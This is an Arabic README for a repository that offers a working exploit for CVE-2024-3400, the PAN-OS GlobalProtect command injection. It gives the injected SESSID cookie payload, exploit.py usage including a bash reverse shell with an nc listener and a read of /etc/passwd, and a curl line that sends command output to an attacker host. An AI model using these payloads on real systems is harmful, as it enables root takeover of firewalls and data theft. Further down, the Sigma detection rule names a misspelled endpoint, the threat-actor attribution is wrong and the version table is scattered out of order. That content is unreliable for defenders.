
استنساخ cve-2024-3400-panos_rce_reproduction
CVSS 10.0 حرجة | CWE-78: حقن أوامر نظام التشغيل | استغلال واسع النطاق في البرية
ثغرة CVE-2024-3400 هي ثغرة حقن أوامر قبل المصادقة في واجهتي بوابة GlobalProtect والبوابة المتصلة (Gateway) في نظام Palo Alto Networks PAN-OS، وتسمح للمهاجم غير المصادق بتنفيذ أوامر عشوائية بصلاحيات الجذر (root) على جدار الحماية المتأثر.
تكمن الثغرة في معالجة مكوّن بوابة GlobalProtect والبوابة المتصلة (Gateway) لملفات تعريف الارتباط الخاصة بالجلسة. تفشل الدالة المسؤولة عن معالجة ملف تعريف الارتباط SESSID في تعقيم المدخلات المقدمة من المستخدم بشكل صحيح قبل تمريرها إلى أمر شل (shell).
وتحديدًا، يؤدي طلب HTTP غير مصادَق إلى نقطة نهاية بوابة GlobalProtect (/global-protect/login.esp) مع ملف تعريف ارتباط SESSID معدّ يحتوي على محارف شل مضمّنة (علامات backtick وتوسيع متغيرات) إلى حقن أوامر.
يعمل مسار الكود المعيب على النحو التالي:
/global-protect/login.espSESSID دون تعقيمsystem() أو دالة تنفيذ أوامر نظام تشغيل مماثلةتستخدم حمولة الحقن أوامر محددة بعلامات backtick داخل ملف تعريف الارتباط SESSID:
SESSID=/../../../opt/panlogs/tmp/device_telemetry/`COMMAND`.py
يتجاوز مسار اجتياز الدليل (/../../../) المجلد المقصود، ويتسبب الجزء COMMAND المحاط بعلامتي backtick في تنفيذ الشل لمدخلات المهاجم. ويمكن استخدام إعادة توجيه المخرجات أو آليات القشرة العكسية (reverse shell) لاستخراج نتائج الأوامر.
| إصدار PAN-OS | المتأثر | الإصلاح في |
|---|---|---|
| 10.2.x | < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1 | 10.2.4-h16 / 10.2.5-h6 / 10.2.6-h3 / 10.2.7-h8 / 10.2.8-h3 / 10.2.9-h1 |
| 11.0.x |
ملاحظة: إصدارات PAN-OS 9.x والإصدارات الأقدم غير متأثرة. كما أن Cloud NGFW وPrisma Access غير متأثرين.
رُصدت جهة UNC4554 / Midnight Blizzard (APT29) وهي تستغل CVE-2024-3400 كثغرة يوم-الصفر بدءًا من مارس 2024. ونشرت Volexity تحليلها في 12 أبريل 2024. وشملت أنماط الهجوم:
تم إصدار عدة إثباتات مفهوم (PoCs) عامة. يوفر هذا المستودع أداة استغلال عملية للاختبار المصرح به.
requestspip install requests
python exploit.py --target https://vulnerable-firewall.example.com --command "id"
# Start listener on attacker machine
nc -lvnp 4444
# Execute reverse shell
python exploit.py --target https://vuln-panos.example.com \
--command "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
python exploit.py --target https://vuln-panos.example.com --command "cat /etc/passwd"
# Basic command execution test
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`id\`.py" \
'https://target/global-protect/login.esp'
# Command output capture via DNS exfiltration
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`wget -O- http://attacker/$(id|base64)\`.py" \
'https://target/global-protect/login.esp'
راجع exploit.py في هذا المستودع للحصول على أداة استغلال Python متكاملة الميزات تدعم:
/global-protect/login.esp مع ملفات تعريف ارتباط SESSID طويلة بشكل غير طبيعي أو مشبوهة/../../) مقترنة بمحارف backtick/opt/panlogs/tmp/device_telemetry/ بامتدادات .pytitle: CVE-2024-3400 PAN-OS GlobalProtect Command Injection
status: stable
logsource:
category: webserver
detection:
selection:
cs-uri-query: "/global-protocol/login.esp"
cs-cookie|contains:
- "../"
- "`"
condition: selection
set deviceconfig system telemetry disable yes (يحجب مسار الكود المعيب دون الحاجة إلى إعادة تشغيل)/opt/panlogs/tmp/device_telemetry/SESSID شاذةطبّق الرقعة الإصلاحية (hotfix) التي وفرتها Palo Alto Networks. يقوم الإصلاح بتعقيم مدخلات ملفات تعريف الارتباط بشكل صحيح قبل إنشاء أمر الشل.
إذا كنت تشتبه في وجود استغلال:
هذا المستودع مقدم لأغراض الاختبارات الأمنية المصرح بها والتعليم فقط. الاستغلال غير المصرح به لهذه الثغرة غير قانوني. المؤلفون غير مسؤولين عن سوء استخدام هذه المعلومات. تأكد دائمًا من حصولك على إذن كتابي صريح قبل اختبار أي نظام.
رخصة MIT — هذا المحتوى مقدم لأبحاث الأمن الدفاعي والاختبار المصرح به.
| < 11.0.1-h10, < 11.0.2-h4, < 11.0.3-h10 |
| 11.0.1-h10 / 11.0.2-h4 / 11.0.3-h10 |
| 11.1.x | < 11.1.1-h3 | 11.1.1-h3 |
| المصدر | الرابط |
|---|